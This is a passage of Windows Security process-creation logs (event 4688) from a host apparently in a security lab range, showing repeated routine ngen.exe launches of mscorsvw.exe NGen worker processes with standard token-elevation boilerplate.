%%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 338 -InterruptEvent 0 -NGENProcess 31c -Pipe 380 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254353 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12d8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 37c -InterruptEvent 0 -NGENProcess 3e8 -Pipe 2f4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254352 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4e8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 380 -InterruptEvent 0 -NGENProcess 3d4 -Pipe 2d0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254365 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x370 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2c4 -InterruptEvent 0 -NGENProcess 2c8 -Pipe 294 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254364 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4d0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 294 -InterruptEvent 0 -NGENProcess 2c4 -Pipe 278 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254363 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x130c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 278 -InterruptEvent 0 -NGENProcess 294 -Pipe 3a8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254362 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13b0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2e0 -InterruptEvent 0 -NGENProcess 294 -Pipe 2d8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254361 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1398 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2d8 -InterruptEvent 0 -NGENProcess 2e0 -Pipe 3cc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254360 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1050 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3cc -InterruptEvent 0 -NGENProcess 2d8 -Pipe 288 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254369 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf94 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 354 -InterruptEvent 0 -NGENProcess 200 -Pipe 2e8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254368 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1008 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2e8 -InterruptEvent 0 -NGENProcess 354 -Pipe 15c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254367 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13a0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 324 -InterruptEvent 0 -NGENProcess 2e0 -Pipe 3d4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254366 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb90 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2c8 -InterruptEvent 0 -NGENProcess 3d4 -Pipe 2c4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254373 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf04 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 28c -InterruptEvent 0 -NGENProcess 200 -Pipe 33c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254372 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x900 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 33c -InterruptEvent 0 -NGENProcess 28c -Pipe 2fc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254371 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x139c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2fc -InterruptEvent 0 -NGENProcess 33c -Pipe 3fc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254370 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x718 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3fc -InterruptEvent 0 -NGENProcess 2fc -Pipe 270 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:34 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254374 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfe0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 394 -InterruptEvent 0 -NGENProcess 220 -Pipe 2f8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254378 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x884 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2c8 -InterruptEvent 0 -NGENProcess 324 -Pipe 384 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and 